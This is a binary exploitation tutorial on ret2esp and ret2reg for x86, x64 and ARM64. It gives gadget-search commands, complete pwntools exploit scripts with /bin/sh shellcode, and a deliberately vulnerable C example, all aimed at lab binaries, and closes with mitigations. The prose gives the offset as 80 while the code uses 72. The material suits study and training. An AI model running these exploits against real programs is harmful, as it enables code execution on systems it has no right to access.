Ret2esp / Ret2reg
{{#include ../../banners/hacktricks-training.md}}
Ret2esp
Because the ESP (Stack Pointer) always points to the top of the stack, this technique involves replacing the EIP (Instruction Pointer) with the address of a jmp esp or call esp instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the ret instruction executes, ESP points to the next address, precisely where the shellcode is stored.
If Address Space Layout Randomization (ASLR) is not enabled in Windows or Linux, it's possible to use jmp esp or call esp instructions found in shared libraries. However, with ASLR active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat PIE).
Moreover, being able to place the shellcode after the EIP corruption, rather than in the middle of the stack, ensures that any push or pop instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial jmp shellcode like:
sub rsp, 0x30
jmp rsp
And write the shellcode early in the stack.
Finding jmp/call esp/rsp gadgets
On modern challenges it is common to automate this search first and only then start placing shellcode. Some practical options are:
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
print(rop.jmp_esp) # i386
print(rop.jmp_rsp) # amd64
pwntools will also discard gadgets whose address contains badchars, which is useful when the instruction exists but cannot be used directly from the overflow.
You can also search more aggressively with ROPgadget because sometimes the binary does not contain a clean disassembled jmp rsp, but it still contains the raw opcode bytes inside some other executable instruction stream:
ROPgadget --binary ./vuln --re "jmp|call" | grep -Ei "(esp|rsp)"
ROPgadget --binary ./vuln --opcode ffe4 # jmp esp / jmp rsp
ROPgadget --binary ./vuln --opcode ffd4 # call esp / call rsp
This is especially useful in amd64 because the opcode for jmp rsp is just ff e4, so any executable byte sequence with those bytes can become a valid landing point.
Example
You can find an example of this technique in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp with a final exploit like:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
You can see another example of this technique in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. There is a buffer overflow without NX enabled. The exploit uses a gadget to reduce the address of $esp and then a jmp esp; to jump to the shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage call eax or jmp eax instructions (known as ret2eax technique), offering another method to execute our shellcode. Just like eax, any other register containing an interesting address could be used (ret2reg).
Typical cases are functions returning the destination buffer in the return-value register, or code paths that keep a pointer to the attacker-controlled buffer in some argument/scratch register until the vulnerable ret.
Hunting the register jump
On x86/x64 you usually search for jmp reg or call reg targeting the register that points to your bytes:
ROPgadget --binary ./vuln --re "jmp|call" | grep -Ei "(eax|ebx|ecx|edx|esi|edi|esp|rax|rbx|rcx|rdx|rsi|rdi|rsp)"
On ARM64 the same idea applies, but you are normally looking for br xN or blr xN gadgets instead:
ROPgadget --binary ./vuln --only "br|blr"
If the binary is protected with badchar restrictions, remember that the gadget address matters as much as the gadget mnemonic. A perfect jmp rax is useless if the address cannot be injected intact.
Example
You can find some examples here:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpystores ineaxthe address of the buffer where the shellcode was stored andeaxis not overwritten, so it is possible to use aret2eax.
ARM64
Ret2sp
In ARM64 there aren't instructions allowing to jump directly to the SP register. It might be possible to find a gadget that moves sp to a register and then jumps to that register, but in the libc of my kali I couldn't find any gadget like that:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
The only ones I discovered would change the value of the register where sp was copied before jumping to it (so it would become useless):
Ret2reg
If a register has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
In ARM64, it's x0 who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2);
return 0;
}
Checking the disassembly of the function it's possible to see that the address to the buffer (vulnerable to bof and controlled by the user) is stored in x0 before returning from the buffer overflow:
It's also possible to find the gadget br x0 in the do_stuff function:
We will use that gadget to jump to it because the binary is compiled WITHOUT PIE. Using a pattern it's possible to see that the offset of the buffer overflow is 80, so the exploit would be:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
Protections
- NX: If the target memory is not executable, ret2esp/ret2reg only gives you control-flow redirection, not code execution. In modern exploits this is often combined with a previous
mprotect/VirtualProtect-style stage or with already executable memory. - ASLR & PIE: These make it harder to know the address of the final
jmp/call <reg>gadget. Partial overwrites may still work when the gadget is close enough to the original return address. - CET / Shadow Stack: On x86_64, classic ret-based entry into
jmp esp/jmp rsp/jmp reggadgets becomes unreliable because the corrupted return address is checked against the hardware shadow stack before the gadget is reached. - ARM64 PAC/BTI: Pointer Authentication can break the classic saved-LR overwrite path, and Branch Target Identification means
br xNjumps are expected to land on a valid BTI landing pad (bti j/bti jc). Abr xNgadget may exist but still fault on hardened binaries if the destination bytes are not a valid indirect-branch target.
References
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
- https://docs.pwntools.com/en/stable/rop/rop.html
- https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/p3-enabling-pac-and-bti-on-aarch64
{{#include ../../banners/hacktricks-training.md}}